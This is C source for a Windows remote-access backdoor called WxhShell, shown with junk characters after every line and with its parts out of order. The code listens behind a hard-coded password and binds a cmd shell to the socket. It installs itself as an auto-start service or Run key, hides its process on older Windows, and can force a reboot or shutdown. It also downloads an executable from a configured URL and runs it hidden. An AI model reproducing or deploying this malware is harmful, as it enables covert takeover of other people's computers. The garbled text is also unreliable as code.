    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c|ZZ+2IYd  
    if(Boot(SHUTDOWN)) _VR4 |)1g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XTHrf'BU  
    else { 'KyT]OObS  
    closesocket(wsh); |oO0%#1H  
    ExitThread(0); bu@Pxz%_  
    } Wpj.G  
    break; nc@ul')  
    } x-Xb4?{  
  // 获取shell 6^|bKoN/ f  
  case 's': { `qs'={YtU  
    CmdShell(wsh); C|z`hNp  
    closesocket(wsh); ~oSLWA9  
    ExitThread(0); cDE?Xo'!  
    break; _FAwW<S4B  
  } T /[)U  
  // 退出 B(b[Dbb  
  case 'x': { F KL}6W:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "D@m/l  
    CloseIt(wsh); <2|x]b 8  
    break; 5Ko "-  
    } 9DPf2`*$  
  // 离开 7_q"%xH  
  case 'q': { r+$ 0u~^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); etGquW.  
    closesocket(wsh); ?V*>4A  
    WSACleanup(); MV=.(Zs  
    exit(1); 5dYIL`  
    break; u%ih7v!r\  
        } <&W3\/xx  
  } S2j7(T;~YB  
  } iAup',AZg  
[iL2c=_  
  // 提示信息 y0A2{'w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z AZQFr'*  
} B[b'OtH  
  } oqE h_[.  
2LD4f[a;  
  return; ) e;F@o3  
} j-yD;N  
MZL~IX  
// shell模块句柄 /<|J\G21  
int CmdShell(SOCKET sock) mc9$"  
{ <-FZ-asem  
STARTUPINFO si; kC LeHH|K  
ZeroMemory(&si,sizeof(si)); j|+B|   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?&/9b)cS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aY3kww`  
PROCESS_INFORMATION ProcessInfo; 9f BD.9A  
char cmdline[]="cmd"; {L<t6A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #1m!,tC  
  return 0; 7d'@Z2%J0  
} _)%4NjWKk  
_);1dcnR  
// 自身启动模式 :4)mv4Q  
int StartFromService(void) =PO/Q|-v?  
{ :q6hT<f;  
typedef struct &TC  
{ r Ld,Izi  
  DWORD ExitStatus; FVF: 1DT  
  DWORD PebBaseAddress; 2hU4g e?6  
  DWORD AffinityMask; zxwpS  
  DWORD BasePriority; A3 j>R477A  
  ULONG UniqueProcessId; XV+BSW7}  
  ULONG InheritedFromUniqueProcessId; i<=@ 7W  
}   PROCESS_BASIC_INFORMATION; X Phw0aV  
_$Z46wHmB  
PROCNTQSIP NtQueryInformationProcess; r>osa3N'  
<_42h|-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q^0K8>G^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c}rRNS$F  
;{HxY98Q  
  HANDLE             hProcess; mP:mzmUw  
  PROCESS_BASIC_INFORMATION pbi; 5HOhk"  
QuF%m^aE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Of:e6N  
  if(NULL == hInst ) return 0; #2u-L~n  
Zvr(c|Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Yz%=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A.z~wu%(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [~jh Ov^  
tK8\Ib J  
  if (!NtQueryInformationProcess) return 0; ?%;uR#4  
Xwx;m/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FK mFjqY  
  if(!hProcess) return 0; %\5y6  
eZg31.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b[BSUdCB  
G%'h'AV"  
  CloseHandle(hProcess); ]=]'*Z%  
-,XS2[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oD"fRBS+$  
if(hProcess==NULL) return 0; r-[z!S  
(<8T*Xo  
HMODULE hMod; )FU4iN)ei  
char procName[255]; b<:s{f"t,  
unsigned long cbNeeded; HjV^6oP  
1f}S:Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jp[QA\  
tP3H7Yl! g  
  CloseHandle(hProcess); ?(g kk YI  
4&`66\p;  
if(strstr(procName,"services")) return 1; // 以服务启动 I~q}M!v~  
%t<Y6*g  
  return 0; // 注册表启动 <v5toyA  
} EH,uX{`e  
/~AwX8X  
// 主模块 KP:O]520  
int StartWxhshell(LPSTR lpCmdLine) U*6-Y%7  
{ e=2;z  
  SOCKET wsl; Ulktd^A\  
BOOL val=TRUE; Dq-h`lh!D#  
  int port=0; Dvx"4EA{7{  
  struct sockaddr_in door; _@"Y3Lqi  
-3w? y  
  if(wscfg.ws_autoins) Install(); AY! zXJ_$  
} 8r+&e  
port=atoi(lpCmdLine); d628@~ Ekn  
 *riGi  
if(port<=0) port=wscfg.ws_port; RmzK?muk  
MN1|k  
  WSADATA data; 9V"^F.>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nLQ X? :  
uO":\<1#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L(8Q%oX%o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h\.UUC&<  
  door.sin_family = AF_INET; wx57dm+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MhJ`>.z1  
  door.sin_port = htons(port); m6 IZG l7%  
kSI,Q!e\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EoOrA@N  
closesocket(wsl); (tVY /(~#  
return 1; IE,g  
} [n< U>up  
TmQ2;3%  
  if(listen(wsl,2) == INVALID_SOCKET) { Wt4!XV  
closesocket(wsl); %!eK"DKG^  
return 1; x "N,oDs  
} wI`uAZ="  
  Wxhshell(wsl); 4vy!'r@   
  WSACleanup(); Hq%`DWus\  
&"L3U  
return 0; y"){?  
3$y]#L  
} Z#o o8  
~u3I=b  
// 以NT服务方式启动 . t~I[J\<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f'#7i@Je  
{ O %)+ w  
DWORD   status = 0; F*]AjD-  
  DWORD   specificError = 0xfffffff; $jw!DrE  
z:fd'NC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <:%Iq13D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *1elUI2Rg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !\!fd(BN  
  serviceStatus.dwWin32ExitCode     = 0; ?m~;*wn%  
  serviceStatus.dwServiceSpecificExitCode = 0; Ke\?;1+  
  serviceStatus.dwCheckPoint       = 0; 1"!<e$&$X  
  serviceStatus.dwWaitHint       = 0; F<^,j7@  
7p~@S4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2&=;$2?}  
  if (hServiceStatusHandle==0) return; ]jy6C'Mp  
QU417EV'  
status = GetLastError(); PHz/^p3F  
  if (status!=NO_ERROR) MKQa&Dvw  
{ }"3L>%Q5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HD`Gi0  
    serviceStatus.dwCheckPoint       = 0; R)<>} y  
    serviceStatus.dwWaitHint       = 0; 3J [P(G>Q  
    serviceStatus.dwWin32ExitCode     = status; ;w@:  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~ xXB !K~C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i#Wl?(-i  
    return; VW'e&v1.  
  } DVCc^5#  
k:d'aP3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i5)trSM|  
  serviceStatus.dwCheckPoint       = 0; m =opY~&h  
  serviceStatus.dwWaitHint       = 0; %K/rPhU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7R)"HfUh  
}  rZDKVx  
n JLr]`_  
// 处理NT服务事件,比如:启动、停止 al" 1T-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2o/AH \=2  
{ t#<q O6&B  
switch(fdwControl) @YT=-  
{ %VwB ?  
case SERVICE_CONTROL_STOP: 6}|/~n  
  serviceStatus.dwWin32ExitCode = 0; r3iNfY b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; blS*HKw  
  serviceStatus.dwCheckPoint   = 0; `;i| %$TU  
  serviceStatus.dwWaitHint     = 0; hz )L+  
  { u2!8'-Ai  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ; /EH@V|  
  } R?I(f(ib   
  return; Q <78< #I  
case SERVICE_CONTROL_PAUSE:  -EITz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L5e aQu  
  break; 5M*ZZ+YX  
case SERVICE_CONTROL_CONTINUE: i{ %~&!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f\|33)k  
  break; W'6*$Ron  
case SERVICE_CONTROL_INTERROGATE: &<v# ^2S3  
  break; Z\@vN[[  
}; xat)9Yb}0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3xj<ATSe  
} 9K)OQDv%6D  
.Yh-m  
// 标准应用程序主函数 {Y IVHl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -/FCd(  
{ . vYGJ8(P  
8n2* z  
// 获取操作系统版本 LkNfcBa_  
OsIsNt=GetOsVer(); Mu{mj4Y{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E!ZDqq  
v&uIxFCR  
  // 从命令行安装 JRl8S   
  if(strpbrk(lpCmdLine,"iI")) Install(); ayC*n'  
;/e!!P]jP  
  // 下载执行文件 A03PEaZO  
if(wscfg.ws_downexe) { fC(lY4,H3R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s7&% _!4  
  WinExec(wscfg.ws_filenam,SW_HIDE); =Ybbh`$<  
} |w\D6d]o  
85nUR [)h  
if(!OsIsNt) { CZ1 tqAk-  
// 如果时win9x,隐藏进程并且设置为注册表启动 u wf3  
HideProc(); d~28!E+  
StartWxhshell(lpCmdLine); Hm4lR{A  
} #%+IU  
else g ,Q!F  
  if(StartFromService()) {Y\hr+A  
  // 以服务方式启动 ,`H=%#  
  StartServiceCtrlDispatcher(DispatchTable); Ue-HO  
else U,g!KN3P  
  // 普通方式启动 />+JK5  
  StartWxhshell(lpCmdLine); ts)0+x  
e6{/e+/R  
return 0; VsUEp_I  
} E{lq@it32p  
n>!E ]  
S _#UEf  
lt(,/  
=========================================== (|bht0  
} #%sI"9  
rLP4l~V   
 rro,AS}  
E<~/AReo  
y ?Q"-o (  
" +F 5Dc  
(<1DPpy95O  
#include <stdio.h> {|> ~#a49h  
#include <string.h> 12cfqIo9  
#include <windows.h> Sqfa,3?L  
#include <winsock2.h> 5t0i/&zX  
#include <winsvc.h> c*6o{x}K  
#include <urlmon.h> @|5B  
ztb2Ign<  
#pragma comment (lib, "Ws2_32.lib") =Jem.Ph  
#pragma comment (lib, "urlmon.lib") l<v /T  
G::6?+S  
#define MAX_USER   100 // 最大客户端连接数 +n)(\k{  
#define BUF_SOCK   200 // sock buffer i 0L7`TB  
#define KEY_BUFF   255 // 输入 buffer hW/*]7AM^  
MRmz/ZmRM  
#define REBOOT     0   // 重启 4 (Y5n?/  
#define SHUTDOWN   1   // 关机 ]kKf4SJZFU  
}H^#}  
#define DEF_PORT   5000 // 监听端口 d(fgv  
TcRnjsY$  
#define REG_LEN     16   // 注册表键长度 L{(r@Vu  
#define SVC_LEN     80   // NT服务名长度 7N'F]x  
b6]M}ixK  
// 从dll定义API Z$[A.gD4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BH*vsxe  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *TMg.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {\0R[+d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /:%^Vh3XF  
q^12Rj;H  
// wxhshell配置信息 tkJ/ h<  
struct WSCFG { :  l]>nF4  
  int ws_port;         // 监听端口 ?g<*1N?:  
  char ws_passstr[REG_LEN]; // 口令 VgoQz]z  
  int ws_autoins;       // 安装标记, 1=yes 0=no E$Ge# M@dM  
  char ws_regname[REG_LEN]; // 注册表键名 Y*"%;e$tg  
  char ws_svcname[REG_LEN]; // 服务名 6`+DBr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XFBk:~}sI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oWJ}]ip  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ifBJ$x(B.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6aK%s{%3s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c#G(7.0MU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %\- +SeC  
]enqkiS  
}; !!` zz  
2$3BluK  
// default Wxhshell configuration Mzb_o2^(  
struct WSCFG wscfg={DEF_PORT, O;,k~  
    "xuhuanlingzhe", sIELkF?.  
    1, {CGk5`g~  
    "Wxhshell", cHR}`U$  
    "Wxhshell", -Fl3m  
            "WxhShell Service", 4+ 4? 0R  
    "Wrsky Windows CmdShell Service", FtF!Dtv  
    "Please Input Your Password: ", =z@'vu$Fh  
  1, ";>D0h^D  
  "http://www.wrsky.com/wxhshell.exe", Jl^oDW  
  "Wxhshell.exe" 8zpK; +  
    }; 'TbA^U[  
4NEk#n  
// 消息定义模块 dxASU|Yo9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }]?RngTt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <F!:dyl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1B WuFYB  
char *msg_ws_ext="\n\rExit."; +{#BQbx6  
char *msg_ws_end="\n\rQuit."; Q'\jm=k  
char *msg_ws_boot="\n\rReboot..."; $G=\i>R.  
char *msg_ws_poff="\n\rShutdown..."; _abVX#5<  
char *msg_ws_down="\n\rSave to "; [NKWudq  
? X:RrZ:/  
char *msg_ws_err="\n\rErr!"; wvq<5gy}  
char *msg_ws_ok="\n\rOK!"; _Juhl^LM;  
6XX5K@  
char ExeFile[MAX_PATH]; [KjQW/sb'  
int nUser = 0; c9ghR0WM  
HANDLE handles[MAX_USER]; xw?G?(WO  
int OsIsNt; t zV"|s=o  
JG4&eK$-  
SERVICE_STATUS       serviceStatus; $~ `(!pa:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Mz"kaO  
-<<!eH  
// 函数声明 W C`1;(#G  
int Install(void); 4Uwt--KtFh  
int Uninstall(void); (+Uo;)~!YC  
int DownloadFile(char *sURL, SOCKET wsh); o/&:w z  
int Boot(int flag); r[\47cG  
void HideProc(void); 6=H-H\iw  
int GetOsVer(void);  m+vwp\0  
int Wxhshell(SOCKET wsl); [PQG]"  
void TalkWithClient(void *cs); rre;HJGEL  
int CmdShell(SOCKET sock); MM5#B!BB  
int StartFromService(void); 7unu-P<C  
int StartWxhshell(LPSTR lpCmdLine); 5 wc&0h  
IGI2).$[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;M JM~\L0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1}'Jbj"/  
QeQbO  
// 数据结构和表定义 X5<L  
SERVICE_TABLE_ENTRY DispatchTable[] = bqLv81V  
{ :m+:%keK  
{wscfg.ws_svcname, NTServiceMain}, W``e6RX-  
{NULL, NULL} ")o.x7~N  
}; $iF7hyZ  
9r)5d&,6  
// 自我安装 rAQ^:q  
int Install(void) ''WX  
{ NuXU2w~  
  char svExeFile[MAX_PATH]; F,EHZ,<V  
  HKEY key; w$t2Hd  
  strcpy(svExeFile,ExeFile); f,?7,?x  
DSnsi@Mi  
// 如果是win9x系统,修改注册表设为自启动 s ^}V  
if(!OsIsNt) { 1yKf=LZ^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  x'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I~mw\K{.3M  
  RegCloseKey(key); [hiOFmMJZ-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P0 89Mh9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h2tzv~  
  RegCloseKey(key); \zoJr)  
  return 0; iu:e>r  
    } }- +;{u  
  } VSSiuo'5w  
} ;j52a8uE'}  
else { p4el9O&-tV  
2<J82(4j  
// 如果是NT以上系统,安装为系统服务 &!_Ko`b8K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0umfC  
if (schSCManager!=0) h7Ma`w\-  
{ 3 +#bkG  
  SC_HANDLE schService = CreateService 3yZ@i<rfH  
  ( 1`)R#$h  
  schSCManager, * dNMnZ@Y  
  wscfg.ws_svcname, ,Y&kW'2  
  wscfg.ws_svcdisp, =lffr?#&B  
  SERVICE_ALL_ACCESS, c''!&;[!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D1Fc7! TV  
  SERVICE_AUTO_START, J}.p6E~j  
  SERVICE_ERROR_NORMAL, #:{u1sq;  
  svExeFile, aH >.o 1;  
  NULL, 55[K[K  
  NULL, vR`KRI`{  
  NULL, 4b<:67 %  
  NULL, b0&dpMgh:  
  NULL ?}Mv5SO  
  ); 20Rgw  
  if (schService!=0) ,qr)}s-  
  { iE&`F hf?  
  CloseServiceHandle(schService); M1oCa,8M+  
  CloseServiceHandle(schSCManager); 9w AP%xh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); */ qv}  
  strcat(svExeFile,wscfg.ws_svcname); +6TKk~0e^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5\a5^FK~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Cvl"")ZZ`  
  RegCloseKey(key); 3 Zbvf^  
  return 0; ]IoS-)$Z/  
    } .lE"N1  
  } QP qa\87  
  CloseServiceHandle(schSCManager); XFX:) l#o  
} 1o$<pZZ  
} fNlUc  
 k/t4  
return 1; ]V9\4#I4  
} 8T2$0  
fY6&PuDf.  
// 自我卸载 &9O-!  
int Uninstall(void) \C>I6{  
{ *D9QwQ _|  
  HKEY key; 3W27R  
sDwSEg>#B  
if(!OsIsNt) { t;? q#!uc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3XA^{&}  
  RegDeleteValue(key,wscfg.ws_regname); TQ>1u  
  RegCloseKey(key); pQqZ4L6v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '8W }|aF  
  RegDeleteValue(key,wscfg.ws_regname); LS \4y&J40  
  RegCloseKey(key); _ Fer-nQ2R  
  return 0; a u#IA  
  } M9iu#6P  
} Ml)WY#7  
} q_I''L  
else { "%sW/ph  
#q=?Zu^Da  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <Siz5qQI4  
if (schSCManager!=0) Sx pl%  
{ ^h' wZ7-\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +tOV+6Uz  
  if (schService!=0) a{{([uZ  
  { }5% !: =  
  if(DeleteService(schService)!=0) { 0{jRXa-(  
  CloseServiceHandle(schService); !e%#Zb MIo  
  CloseServiceHandle(schSCManager); fdPg{3x*k  
  return 0; UyvFR@  
  } <7)@Jds\  
  CloseServiceHandle(schService); kgA')]  
  } ++FMkeHZ  
  CloseServiceHandle(schSCManager); gE%-Pf~  
} =*I>MgCJ  
} dvUJk<;w  
jd$lu^>I  
return 1; x0 j$]$  
} g#H#i~E^  
hd '!f  
// 从指定url下载文件 j:fL_1m  
int DownloadFile(char *sURL, SOCKET wsh) _w'4f )7  
{ Ye,E7A*L  
  HRESULT hr; PDtaL  
char seps[]= "/"; <Z}2A8mjY  
char *token; @90)  
char *file; > ^D10Nf*  
char myURL[MAX_PATH]; +nZx{d,wt  
char myFILE[MAX_PATH]; !,I}2,1%k  
B!9<c9/ P]  
strcpy(myURL,sURL); dhV =;'   
  token=strtok(myURL,seps); _I75[W!  
  while(token!=NULL) o^lKM?t  
  { P,*R@N  
    file=token; &"25a[x{B  
  token=strtok(NULL,seps); (B[0BjU  
  } i8EMjLBUR  
wG -X833\(  
GetCurrentDirectory(MAX_PATH,myFILE); zg"<N  
strcat(myFILE, "\\"); 2pZ|+!xc+  
strcat(myFILE, file); 6\ (\  
  send(wsh,myFILE,strlen(myFILE),0); $Y>LUZ)b&8  
send(wsh,"...",3,0); 3"cAwU9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yht_*7.lM  
  if(hr==S_OK) ;i\i+:=  
return 0; 9.>v ;:vL  
else L0Xb^vx}m  
return 1; ]G&d`DNV  
Vo%@bj~>  
} <w 8*Ly:L  
6 Rg{^ERf  
// 系统电源模块 qd(`~a  
int Boot(int flag) <r_ldkZ  
{ ,US]  
  HANDLE hToken; 0f1*#8-6  
  TOKEN_PRIVILEGES tkp; XlR.Y~  
1?Wk qQ  
  if(OsIsNt) { ~%>ke  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q]66v$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3>c<E1   
    tkp.PrivilegeCount = 1; +Z /Pj_.o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Pij*?qmeQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qm] k (/w  
if(flag==REBOOT) { U^:+J-z{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CH!Lf,G  
  return 0; YY'46  
} b,~6cDU  
else { = gOq >`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ..;}EFw5  
  return 0; ^~( @QfY  
} O~trv,?)  
  } 1iig0l6\m  
  else { #r>  
if(flag==REBOOT) { j l%27Ld  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <mi*AY  
  return 0; 6-j><'  
} evz{@;.R  
else { W(Xb]t=19  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eM{,B  
  return 0; K-Y;[+#g1o  
} @tR:}J*9s  
} 0%#ZupN  
~#pQWa5  
return 1; 5Ta<$t  
} r3{Cuz  
E.zY(#S  
// win9x进程隐藏模块 Hq ]f$Q6:  
void HideProc(void) .\".}4qQ  
{ 1T!(M"'Ij  
tp7cc;0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vYcea  
  if ( hKernel != NULL ) NirG99kyo  
  { r[ni{ &  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ot8UuBq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !.Eua3:V*  
    FreeLibrary(hKernel); 4'P otv@/  
  } |@!4BA  
!EB<e5}8wK  
return; F4`ud;1H  
} 4|ML#aRz  
_H} 8eU  
// 获取操作系统版本 P uYAoKG  
int GetOsVer(void) $~W =)f9  
{ WzDL(~m+Z  
  OSVERSIONINFO winfo; =c8xg/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }(FF^Mh  
  GetVersionEx(&winfo); p48m k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >cpT_M&C,  
  return 1; z.P<)[LUc  
  else IT!u4iH[  
  return 0; +" |?P  
} z10J8Ms'  
'I^3r~_  
// 客户端句柄模块 pMndyuoJl  
int Wxhshell(SOCKET wsl) KxhMPvN'  
{ +-"uJIwMD  
  SOCKET wsh; ;&RBg+Pr  
  struct sockaddr_in client; %{Ib  
  DWORD myID; "MM)AY*b  
<A@}C+  
  while(nUser<MAX_USER) e98f+,E/  
{ |zd+ \o  
  int nSize=sizeof(client); AWo\u!j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UNY O P{  
  if(wsh==INVALID_SOCKET) return 1; VC~1QPC9  
}w&W\g+E$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w=JO$7  
if(handles[nUser]==0) '1P~"P3  
  closesocket(wsh); ^__';! e  
else N)CM^$(T|  
  nUser++; 2 8>  
  } pUF$Nq>og  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2 zE gAc  
 %JoHc?  
  return 0; EC;R^)  
} |2AMj0V~  
\D6 7J239E  
// 关闭 socket l5P!9P  
void CloseIt(SOCKET wsh) bbNN$-S|  
{ 1z IX $A  
closesocket(wsh); e\)r"!?H`  
nUser--; -A1@a= q  
ExitThread(0); g A+p^`;[  
} f(S9>c2  
}ZqnsLu[)  
// 客户端请求句柄 b,h@.s  
void TalkWithClient(void *cs) Y[sBVz'j5  
{ +-2W{lX  
-<0xS.^  
  SOCKET wsh=(SOCKET)cs; 88uoA6Y8h  
  char pwd[SVC_LEN]; Oz{FM6  
  char cmd[KEY_BUFF]; Z; 6N7U  
char chr[1]; qzk!'J3*r<  
int i,j; 8f`r!/j  
wHuz~y6  
  while (nUser < MAX_USER) { \gCh'3  
{HO,d{{  
if(wscfg.ws_passstr) { W79Sz}):  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xTnFJ$RK2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K]SsEsd  
  //ZeroMemory(pwd,KEY_BUFF); >p*7)  
      i=0; Wr+/ 9  
  while(i<SVC_LEN) { V |cPAT%  
z"%{SI^  
  // 设置超时 zu_bno!  
  fd_set FdRead; @oKW$\  
  struct timeval TimeOut; R,8 W7 3  
  FD_ZERO(&FdRead); #IvHxSo&  
  FD_SET(wsh,&FdRead); 3-Bz5sj9  
  TimeOut.tv_sec=8; A'6-E{  
  TimeOut.tv_usec=0; "UYlC0 S\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HkPdqNC&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9ERyr1-u v  
l~ Hu#+O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ls({{34NF  
  pwd=chr[0]; slnvrel  
  if(chr[0]==0xd || chr[0]==0xa) { (&i c3/-  
  pwd=0; ]WYddiF  
  break; J.(mg D  
  } <s=i5t My5  
  i++; DFMf" _p  
    } ]!>tP,<`'  
U6?3 z  
  // 如果是非法用户,关闭 socket ##6u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ak kth*p  
} tP1znJh>y  
}IRD!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .QW@rV:T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7}L.(Jp9  
lJ Jn@A  
while(1) { @6kkt~>:  
+[Izz~ _p  
  ZeroMemory(cmd,KEY_BUFF); uOAd$;h@_Z  
~KYA{^`*  
      // 自动支持客户端 telnet标准   M 4E|^p=5  
  j=0; De ([fC  
  while(j<KEY_BUFF) { }ijFvIHV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rL,kDSLs  
  cmd[j]=chr[0];  )mH(Hx  
  if(chr[0]==0xa || chr[0]==0xd) { 'YB{W8bR  
  cmd[j]=0; |R;`  
  break; m1D,#=C,_  
  } z2iWr  
  j++; .I Io   
    } e}NB ,o  
5SEGV|%  
  // 下载文件 LEg ?/!LIT  
  if(strstr(cmd,"http://")) { (qw;-A W8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U!jRF  
  if(DownloadFile(cmd,wsh))  eIj2(q9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GdM|?u&s"  
  else Mtaky=l8~I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JLGC'mbJ  
  } YF(bl1>YC  
  else { F?Fxm*Wa/  
UNA!vzOb  
    switch(cmd[0]) {  _ 'K6S  
  Y,m=&U  
  // 帮助 pmiC|F83!8  
  case '?': { <u  ImZC  
